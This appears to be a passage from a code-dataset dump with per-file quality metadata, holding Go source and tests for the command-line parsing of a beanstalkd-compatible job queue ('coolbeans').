{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 1, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1xyz/coolbeans
beanstalkd/core/parse.go
package core import ( "bytes" "io" ) func Discard(rdr io.Reader, b []byte) ([]byte, error) { mr := io.MultiReader(bytes.NewReader(b), rdr) isLastByteCarriageReturn := false for { b := make([]byte, 1024) n, err := mr.Read(b) if err != nil { return nil, err } if n < 0 { panic("un-expected: negative value for n") } else if n == 0 { return nil, ErrNoData } else { // check the case when \r\n encounters on a buffer boundary // check to see if the first byte is a newline if isLastByteCarriageReturn && b[0] == '\n' { // discard the first byte (\n) and return the rest return b[1:n], nil } if _, right, ok := split(b[0:n]); ok { return right, nil } isLastByteCarriageReturn = b[n-1] == '\r' } } } func Scan(rdr io.Reader, b []byte, limitBytes int) ([]byte, []byte, error) { buf := make([]byte, 0) if len(b) > 0 { if left, right, ok := split(b); ok { return clone(left), clone(right), nil } else { buf = append(buf, b...) } } // set to true if the last byte in last read call scanned is \r isLastByteCarriageReturn := len(buf) > 0 && buf[len(buf)-1] == '\r' // read buffer limitBytes in bytes bufSize := readBufferSizeBytes if bufSize > limitBytes { bufSize = limitBytes } for len(buf) < limitBytes { b := make([]byte, bufSize) n, err := rdr.Read(b) if err != nil { return nil, nil, err } if n < 0 { panic("un-expected: negative value for n") } else if n == 0 { return nil, buf, ErrNoData } else { // check the case when \r\n encounters on a buffer boundary // check to see if the first byte is a newline if isLastByteCarriageReturn && b[0] == '\n' { // discard the first byte (\n) and return the rest return buf[:len(buf)-1], b[1:n], nil } if left, right, ok := split(b[0:n]); ok { buf = append(buf, left...) return buf, right, nil } buf = append(buf, b[0:n]...) isLastByteCarriageReturn = b[n-1] == '\r' } } return nil, nil, ErrDelimiterMissing } // ScanJobData - Scans the provided "b" byte slice in search of a newline // (\\r\\n) delimiter. If the provided slice does'nt have a newline, then // scan the reader upto "maxJobDataSizeBytes-len(b)" bytes in search of a // delimiter // Returns a triple of command, extra byte slice and an error // The extra byte slice are any additional bytes read after encountering the // delimiter. func ScanJobData(rdr io.Reader, b []byte, maxJobDataSizeBytes int) ([]byte, []byte, error) { // Note this temporarily create a byte-array upto 16Kb in size return Scan(rdr, b, maxJobDataSizeBytes) } // ScanCmdLine - Scans the provided "b" byte slice in search of a newline // (\\r\\n) delimiter. If the provided slice does not have a newline, // then scan the reader upto "MaxCmdSizeBytes-len(b)" bytes in search of // the delimiter. // Returns a triple of command, extra byte slice and an error // The extra byte slice are any additional bytes read after encountering the // delimiter. func ScanCmdLine(rdr io.Reader, b []byte) ([]byte, []byte, error) { return Scan(rdr, b, MaxCmdSizeBytes) } // scans the input byte slice in search of a newline (\\r\\n) delimiter // returns a triple of left and right hand slices and bool indicating if // a result was found func split(b []byte) ([]byte, []byte, bool) { if loc := DelimRe.FindIndex(b); loc != nil { return b[0:loc[0]], b[loc[1]:], true } else { return nil, nil, false } } // return a clone of the src byte slice func clone(src []byte) []byte { // https://github.com/go101/go101/wiki/How-to-efficiently-clone-a-slice%3F return append(src[:0:0], src...) }
3,625
parse
go
en
go
code
{"qsc_code_num_words": 558, "qsc_code_num_chars": 3625.0, "qsc_code_mean_word_length": 4.19713262, "qsc_code_frac_words_unique": 0.22401434, "qsc_code_frac_chars_top_2grams": 0.02732707, "qsc_code_frac_chars_top_3grams": 0.00640478, "qsc_code_frac_chars_top_4grams": 0.0204953, "qsc_code_frac_chars_dupe_5grams": 0.53800171, "qsc_code_frac_chars_dupe_6grams": 0.48761742, "qsc_code_frac_chars_dupe_7grams": 0.44363792, "qsc_code_frac_chars_dupe_8grams": 0.41161401, "qsc_code_frac_chars_dupe_9grams": 0.38343296, "qsc_code_frac_chars_dupe_10grams": 0.38343296, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01262272, "qsc_code_frac_chars_whitespace": 0.21324138, "qsc_code_size_file_byte": 3625.0, "qsc_code_num_lines": 128.0, "qsc_code_num_chars_line_max": 93.0, "qsc_code_num_chars_line_mean": 28.3203125, "qsc_code_frac_chars_alphabet": 0.8085554, "qsc_code_frac_chars_comments": 0.41627586, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.19277108, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.03922495, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.07228916, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.26506024, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/coolbeans
beanstalkd/core/parse_test.go
package core import ( "bytes" . "github.com/smartystreets/goconvey/convey" "io" "testing" ) func TestDiscard(t *testing.T) { Convey("when Discard is called", t, func() { Convey("with an empty buffer", func() { callDiscard := func(s string) ([]byte, error) { return Discard(bytes.NewReader([]byte(s)), make([]byte, 0)) } Convey("and an input stream with a delimiter", func() { rt, err := callDiscard("peek example_tube\r\n peek a boo") Convey("all bytes before delim are discarded", func() { So(rt, ShouldResemble, []byte(" peek a boo")) So(err, ShouldBeNil) }) }) Convey("and an input stream ending with a delimiter", func() { rt, err := callDiscard("peek example_tube\r\n") Convey("all bytes before delim are discarded", func() { So(rt, ShouldResemble, []byte("")) So(err, ShouldBeNil) }) }) Convey("and an input stream with no delimiter", func() { rt, err := callDiscard("peek example_tube ....") Convey("all bytes are discarded until EOF", func() { So(rt, ShouldBeNil) So(err, ShouldEqual, io.EOF) }) }) }) Convey("with a non-empty buffer", func() { callDiscard := func(s string, buf string) ([]byte, error) { return Discard(bytes.NewReader([]byte(s)), []byte(buf)) } Convey("which has a delimiter", func() { buf := "peek \r\n hello" Convey("and an input stream", func() { rt, err := callDiscard("peek example_tube\r\n peek a boo", buf) Convey("all bytes before delim are discarded", func() { So(rt, ShouldResemble, []byte(" hello")) So(err, ShouldBeNil) }) }) }) Convey("which has no delimiter", func() { buf := "peek hello" Convey("and an input stream with a delimiter", func() { rt, err := callDiscard("peek example_tube\r\n peek a boo", buf) Convey("all bytes before delim are discarded", func() { So(string(rt), ShouldResemble, " peek a boo") So(err, ShouldBeNil) }) }) Convey("and an input stream with no delimiter", func() { rt, err := callDiscard("peek example_tube peek a boo", buf) Convey("all bytes before delim are discarded", func() { So(rt, ShouldBeNil) So(err, ShouldEqual, io.EOF) }) }) }) Convey("which ends with carriage return", func() { buf := "peek \r" Convey("and an input stream starting with newline", func() { rt, err := callDiscard("\npeek example_tube\r\n peek a boo", buf) Convey("all bytes before delim are discarded", func() { So(string(rt), ShouldResemble, "peek example_tube\r\n peek a boo") So(err, ShouldBeNil) }) }) }) }) }) } func TestScan(t *testing.T) { Convey("when Scan is called", t, func() { Convey("with an empty buffer and a limit", func() { callScan := func(s string) ([]byte, []byte, error) { return Scan(bytes.NewReader([]byte(s)), make([]byte, 0), 30) } Convey("and an input stream ending with the delimiter", func() { lt, rt, err := callScan("peek example_tube\r\n") Convey("scans the stream across the delimiter", func() { So(string(lt), ShouldResemble, "peek example_tube") So(rt, ShouldResemble, []byte("")) So(err, ShouldBeNil) }) }) Convey("and an input stream containing the delimiter", func() { lt, rt, err := callScan("peek example_tube\r\n hello ") Convey("scans the stream across the delimiter", func() { So(string(lt), ShouldResemble, "peek example_tube") So(string(rt), ShouldResemble, " hello ") So(err, ShouldBeNil) }) }) Convey("and an input stream containing just the delimiter", func() { lt, rt, err := callScan("\r\n") Convey("scans the stream as expected", func() { So(lt, ShouldBeEmpty) So(rt, ShouldBeEmpty) So(err, ShouldBeNil) }) }) Convey("and an input stream not containing a delimiter within a limit", func() { lt, rt, err := callScan("peek example") Convey("scans results in a EOF error", func() { So(lt, ShouldBeNil) So(rt, ShouldBeNil) So(err, ShouldEqual, io.EOF) }) }) Convey("and an input stream with no delimiter and size exceeding the limit", func() { lt, rt, err := callScan("peek a large line with no end in site hello") Convey("scan results in ErrDelimiterMissing error", func() { So(lt, ShouldBeNil) So(rt, ShouldBeNil) So(err, ShouldEqual, ErrDelimiterMissing) }) }) Convey("and an input stream with a delimiter and size exceeding the limit", func() { lt, rt, err := callScan("peek a large line\r\n with no end in site hello") Convey("scan the stream as expected upto only limit bytes", func() { So(string(lt), ShouldEqual, "peek a large line") So(string(rt), ShouldEqual, " with no en") So(err, ShouldBeNil) }) }) Convey("and an input stream with a delimiter at the limit boundary", func() { lt, rt, err := callScan("peek a large line with no en\r\n in site hello") Convey("scan the stream as expected upto only limit bytes", func() { So(string(lt), ShouldEqual, "peek a large line with no en") So(string(rt), ShouldEqual, "") So(err, ShouldBeNil) }) }) }) Convey("with a fixed limit", func() { callScan := func(s string, buf string) ([]byte, []byte, error) { return Scan(bytes.NewReader([]byte(s)), []byte(buf), 30) } Convey("and a non-empty buffer with a part of the delimiter", func() { buf := "peek \r" Convey("and an input stream with the second half of the delimiter", func() { lt, rt, err := callScan("\nexample_tube\r\nhello", buf) Convey("results in a success", func() { So(string(lt), ShouldResemble, "peek ") So(string(rt), ShouldResemble, "example_tube\r\nhello") So(err, ShouldBeNil) }) }) Convey("and an input stream with only the second half of the delimiter", func() { lt, rt, err := callScan("\n", buf) Convey("results in a success", func() { So(string(lt), ShouldResemble, "peek ") So(string(rt), ShouldResemble, "") So(err, ShouldBeNil) }) }) }) Convey("and a non-empty buffer with no delimiter", func() { buf := "peek " Convey("and an input stream with a delimiter", func() { lt, rt, err := callScan("example_tube\r\nhello", buf) Convey("results in a success", func() { So(string(lt), ShouldResemble, "peek example_tube") So(rt, ShouldResemble, []byte("hello")) So(err, ShouldBeNil) }) }) Convey("and an input stream with no delimiter exceeding the limit", func() { lt, rt, err := callScan("example_tube hello word this crazy cool", buf) Convey("results in a ErrDelimiterMissing error", func() { So(lt, ShouldBeNil) So(rt, ShouldBeNil) So(err, ShouldEqual, ErrDelimiterMissing) }) }) }) Convey("and a non-empty buffer with delimiter", func() { buf := "peek queue \r\n" Convey("and an input stream", func() { lt, rt, err := callScan("example_tube\r\nhello", buf) Convey("results in a success", func() { So(string(lt), ShouldResemble, "peek queue ") So(string(rt), ShouldResemble, "") So(err, ShouldBeNil) }) }) Convey("and an empty input stream", func() { lt, rt, err := callScan("l", buf) Convey("results in a success", func() { So(string(lt), ShouldResemble, "peek queue ") So(rt, ShouldBeEmpty) So(err, ShouldBeNil) }) }) }) }) }) }
7,526
parse_test
go
en
go
code
{"qsc_code_num_words": 997, "qsc_code_num_chars": 7526.0, "qsc_code_mean_word_length": 4.58375125, "qsc_code_frac_words_unique": 0.111334, "qsc_code_frac_chars_top_2grams": 0.0452954, "qsc_code_frac_chars_top_3grams": 0.04814004, "qsc_code_frac_chars_top_4grams": 0.06652079, "qsc_code_frac_chars_dupe_5grams": 0.87417943, "qsc_code_frac_chars_dupe_6grams": 0.84551422, "qsc_code_frac_chars_dupe_7grams": 0.80065646, "qsc_code_frac_chars_dupe_8grams": 0.73347921, "qsc_code_frac_chars_dupe_9grams": 0.69452954, "qsc_code_frac_chars_dupe_10grams": 0.57811816, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00104932, "qsc_code_frac_chars_whitespace": 0.24023386, "qsc_code_size_file_byte": 7526.0, "qsc_code_num_lines": 257.0, "qsc_code_num_chars_line_max": 89.0, "qsc_code_num_chars_line_mean": 29.28404669, "qsc_code_frac_chars_alphabet": 0.79818118, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.59708738, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.36433697, "qsc_code_frac_chars_long_word_length": 0.01674196, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.00970874, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.03398058, "qsc_codego_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/coolbeans
beanstalkd/core/cmd_type_string.go
// Code generated by "stringer -type=CmdType --output cmd_type_string.go"; DO NOT EDIT. package core import "strconv" func _() { // An "invalid array index" compiler error signifies that the constant values have changed. // Re-run the stringer command to generate them again. var x [1]struct{} _ = x[Unknown-0] _ = x[Bury-1] _ = x[Delete-2] _ = x[Ignore-3] _ = x[Kick-4] _ = x[KickJob-5] _ = x[ListTubes-6] _ = x[ListTubeUser-7] _ = x[PauseTube-8] _ = x[Peek-9] _ = x[PeekBuried-10] _ = x[PeekDelayed-11] _ = x[PeekReady-12] _ = x[Put-13] _ = x[Quit-14] _ = x[Release-15] _ = x[Reserve-16] _ = x[ReserveJob-17] _ = x[ReserveWithTimeout-18] _ = x[Stats-19] _ = x[StatsJob-20] _ = x[StatsTube-21] _ = x[Touch-22] _ = x[Use-23] _ = x[Watch-24] _ = x[Max-25] } const _CmdType_name = "UnknownBuryDeleteIgnoreKickKickJobListTubesListTubeUserPauseTubePeekPeekBuriedPeekDelayedPeekReadyPutQuitReleaseReserveReserveJobReserveWithTimeoutStatsStatsJobStatsTubeTouchUseWatchMax" var _CmdType_index = [...]uint8{0, 7, 11, 17, 23, 27, 34, 43, 55, 64, 68, 78, 89, 98, 101, 105, 112, 119, 129, 147, 152, 160, 169, 174, 177, 182, 185} func (i CmdType) String() string { if i < 0 || i >= CmdType(len(_CmdType_index)-1) { return "CmdType(" + strconv.FormatInt(int64(i), 10) + ")" } return _CmdType_name[_CmdType_index[i]:_CmdType_index[i+1]] }
1,365
cmd_type_string
go
en
go
code
{"qsc_code_num_words": 189, "qsc_code_num_chars": 1365.0, "qsc_code_mean_word_length": 4.70899471, "qsc_code_frac_words_unique": 0.66137566, "qsc_code_frac_chars_top_2grams": 0.05393258, "qsc_code_frac_chars_top_3grams": 0.02921348, "qsc_code_frac_chars_top_4grams": 0.0, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.10157618, "qsc_code_frac_chars_whitespace": 0.16336996, "qsc_code_size_file_byte": 1365.0, "qsc_code_num_lines": 48.0, "qsc_code_num_chars_line_max": 210.0, "qsc_code_num_chars_line_mean": 28.4375, "qsc_code_frac_chars_alphabet": 0.67775832, "qsc_code_frac_chars_comments": 0.16996337, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 1.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.17740512, "qsc_code_frac_chars_long_word_length": 0.16328332, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.05128205, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.12820513, "qsc_codego_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 1, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/coolbeans
beanstalkd/core/cmd_data.go
package core import ( "fmt" "github.com/1xyz/coolbeans/state" log "github.com/sirupsen/logrus" "regexp" "strconv" ) // CmdData encapsulates a parsed command. type CmdData struct { CmdType CmdType Args string Data []byte NeedData bool } func (c CmdData) String() string { return fmt.Sprintf("CmdType: %v Args:[%v] NeedData:[%v]", c.CmdType, c.Args, c.NeedData) } var ( spaceRe = regexp.MustCompile(`(\s{2,}|\s+(^|$))`) splitRe = regexp.MustCompile(`\s`) ) // ParseCommandLine parses the command line string provided a connected client // into a valid CmdData struct func ParseCommandLine(cmdLine string, maxJobDataSizeBytes int) (*CmdData, error) { s := spaceRe.ReplaceAllLiteralString(cmdLine, "") tokens := splitRe.Split(s, 2) if len(tokens) == 0 || (len(tokens) == 1 && tokens[0] == "") { return nil, ErrCmdTokensMissing } if c, ok := commandTypeStrings[tokens[0]]; !ok { return nil, ErrCmdNotFound } else { var args string if len(tokens) == 2 { args = tokens[1] } var data []byte = nil cd := &CmdData{ CmdType: c, Args: args, Data: data, NeedData: false, } if c == Put { cd.Data = make([]byte, 0) cd.NeedData = true arg, err := NewPutArg(cd) if err != nil { log.Errorf("ParseCommandLine: NewPutArg err = %v", err) return nil, err } if arg.size > maxJobDataSizeBytes { return nil, ErrJobSizeTooBig } } return cd, nil } } type tokenMap map[string]string func matchNamedGroups(args string, re *regexp.Regexp) (tokenMap, bool) { if !re.MatchString(args) { return nil, false } names := re.SubexpNames() matches := re.FindAllStringSubmatch(args, -1) res := make(map[string]string) for _, e := range matches { for i, f := range e { if names[i] == "" { continue } res[names[i]] = f } } return res, true } var ( // put command regex -- put <pri> <delay> <ttr> <bytes> putRe = regexp.MustCompile(`^(?P<pri>\d+) (?P<delay>\d+) (?P<ttr>\d+) (?P<bytes>\d+)$`) // tube arg regex -- watch <tube> | ignore <tube> | use <tube> tubeArgRe = regexp.MustCompile(`(?P<tube>^[a-zA-Z0-9+\/;.$_()][a-zA-Z0-9\-+\/;.$_()]{0,199}$)`) // id arg regex -- // delete <id> // kick-job <id> idArgRe = regexp.MustCompile(`(?P<id>^\d+$)`) // reserve-with-timeo // ut regex -- reserve-with-timeout <seconds> reserveWithTimeoutRe = regexp.MustCompile(`(?P<seconds>^\d+$)`) // bury <id> <pri> buryArgRe = regexp.MustCompile(`^(?P<id>^\d+) (?P<pri>\d+)$`) // kick <bound> kickNArgRe = regexp.MustCompile(`(?P<bound>^\d+$)`) // release <id> <pri> <delay> releaseArgRe = regexp.MustCompile(`^(?P<id>^\d+) (?P<pri>\d+) (?P<delay>\d+)$`) ) type putArg struct { pri uint32 delay int64 ttr int size int data []byte } // NewPutArg constructs a pointer to a new PutArg struct. func NewPutArg(data *CmdData) (*putArg, error) { ctxLog := log.WithFields(log.Fields{"method": "NewPutArg"}) tm, ok := matchNamedGroups(data.Args, putRe) if !ok { ctxLog.Errorf("matchNamedGroups ok=false") return nil, ErrBadFormat } ctxLog.Debugf("matchResponse %v", tm) pri, err := strconv.ParseUint(tm["pri"], 10, 32) if err != nil { ctxLog.Errorf("ParseUint(pri) err=%v", err) return nil, ErrBadFormat } delay, err := strconv.ParseInt(tm["delay"], 10, 64) if err != nil { ctxLog.Errorf("strconv.ParseInt(delay) err=%v", err) return nil, ErrBadFormat } ttr, err := strconv.Atoi(tm["ttr"]) if err != nil { ctxLog.Errorf("atoi(ttr) %v", err) return nil, ErrBadFormat } bytes, err := strconv.Atoi(tm["bytes"]) if err != nil { ctxLog.Errorf("atoi(bytes) %v", err) return nil, ErrBadFormat } return &putArg{ pri: uint32(pri), delay: delay, ttr: ttr, size: bytes, data: data.Data, }, nil } type tubeArg struct { tubeName state.TubeName } // NewTubeArg constructs a pointer to a new tubeArg struct. func NewTubeArg(data *CmdData) (*tubeArg, error) { ctxLog := log.WithFields(log.Fields{"method": "NewTubeArg"}) tm, ok := matchNamedGroups(data.Args, tubeArgRe) if !ok { ctxLog.Errorf("matchNamedGroups ok=false") return nil, ErrBadFormat } ctxLog.Debugf("matchResponse %v", tm) return &tubeArg{ tubeName: state.TubeName(tm["tube"]), }, nil } type idArg struct { id state.JobID } // NewIDArg constructs a pointer to a new idArg struct. func NewIDArg(data *CmdData) (*idArg, error) { ctxLog := log.WithFields(log.Fields{"method": "NewIDArg"}) tm, ok := matchNamedGroups(data.Args, idArgRe) if !ok { ctxLog.Errorf("matchNamedGroups ok=false") return nil, ErrBadFormat } ctxLog.Debugf("matchResponse %v", tm) id, err := strconv.ParseUint(tm["id"], 10, 64) if err != nil { ctxLog.Errorf("ParseUint(id) err=%v", err) return nil, ErrBadFormat } return &idArg{ id: state.JobID(id), }, nil } type reserveWithTimeoutArg struct { timeoutSeconds int } // NewReserveWithTimeoutArg constructs a pointer to a new reserveWithTimeoutArg struct. func NewReserveWithTimeoutArg(data *CmdData) (*reserveWithTimeoutArg, error) { ctxLog := log.WithFields(log.Fields{"method": "NewReserveWithTimeoutArg"}) tm, ok := matchNamedGroups(data.Args, reserveWithTimeoutRe) if !ok { ctxLog.Errorf("matchNamedGroups ok=false") return nil, ErrBadFormat } ctxLog.Debugf("matchResponse %v", tm) timeoutSeconds, err := strconv.Atoi(tm["seconds"]) if err != nil { ctxLog.Errorf("atoi(seconds) %v", err) return nil, ErrBadFormat } return &reserveWithTimeoutArg{ timeoutSeconds: timeoutSeconds, }, nil } type buryArg struct { id state.JobID pri uint32 } // NewBuryArg constructs a pointer to a new buryArg struct. func NewBuryArg(data *CmdData) (*buryArg, error) { tm, ok := matchNamedGroups(data.Args, buryArgRe) if !ok { log.Errorf("NewBuryArg: matchNamedGroups ok=false") return nil, ErrBadFormat } id, err := strconv.ParseUint(tm["id"], 10, 64) if err != nil { log.Errorf("NewBuryArg: ParseUint(id) err=%v", err) return nil, ErrBadFormat } pri, err := strconv.ParseUint(tm["pri"], 10, 32) if err != nil { log.Errorf("NewBuryArg: ParseUint(pri) err=%v", err) return nil, ErrBadFormat } return &buryArg{ id: state.JobID(id), pri: uint32(pri), }, nil } type kickNArg struct { bound int } // NewKickNArg constructs a pointer to a new kickNArg struct. func NewKickNArg(data *CmdData) (*kickNArg, error) { tm, ok := matchNamedGroups(data.Args, kickNArgRe) if !ok { log.Errorf("NewKickNArg: matchNamedGroups ok=false") return nil, ErrBadFormat } bound, err := strconv.Atoi(tm["bound"]) if err != nil { log.Errorf("NewKickNArg: atoi(bound) %v", err) return nil, ErrBadFormat } return &kickNArg{ bound: bound, }, nil } type releaseArg struct { id state.JobID pri uint32 delay int64 } // NewReleaseArg constructs a pointer to a new releaseArg struct. func NewReleaseArg(data *CmdData) (*releaseArg, error) { tm, ok := matchNamedGroups(data.Args, releaseArgRe) if !ok { log.Errorf("NewReleaseArg: matchNamedGroups ok=false") return nil, ErrBadFormat } id, err := strconv.ParseUint(tm["id"], 10, 64) if err != nil { log.Errorf("NewReleaseArg: ParseUint(id) err=%v", err) return nil, ErrBadFormat } pri, err := strconv.ParseUint(tm["pri"], 10, 32) if err != nil { log.Errorf("NewReleaseArg: ParseUint(pri) err=%v", err) return nil, ErrBadFormat } delay, err := strconv.ParseInt(tm["delay"], 10, 64) if err != nil { log.Errorf("NewReleaseArg: ParseInt(delay) err=%v", err) return nil, ErrBadFormat } return &releaseArg{ id: state.JobID(id), pri: uint32(pri), delay: delay, }, nil }
7,584
cmd_data
go
en
go
code
{"qsc_code_num_words": 977, "qsc_code_num_chars": 7584.0, "qsc_code_mean_word_length": 5.13715455, "qsc_code_frac_words_unique": 0.16683726, "qsc_code_frac_chars_top_2grams": 0.04303646, "qsc_code_frac_chars_top_3grams": 0.07949791, "qsc_code_frac_chars_top_4grams": 0.03367205, "qsc_code_frac_chars_dupe_5grams": 0.45387527, "qsc_code_frac_chars_dupe_6grams": 0.40605698, "qsc_code_frac_chars_dupe_7grams": 0.29428173, "qsc_code_frac_chars_dupe_8grams": 0.237896, "qsc_code_frac_chars_dupe_9grams": 0.18848376, "qsc_code_frac_chars_dupe_10grams": 0.18848376, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01073202, "qsc_code_frac_chars_whitespace": 0.17681962, "qsc_code_size_file_byte": 7584.0, "qsc_code_num_lines": 329.0, "qsc_code_num_chars_line_max": 97.0, "qsc_code_num_chars_line_mean": 23.05167173, "qsc_code_frac_chars_alphabet": 0.79320839, "qsc_code_frac_chars_comments": 0.11669304, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.31128405, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.12837737, "qsc_code_frac_chars_long_word_length": 0.01552471, 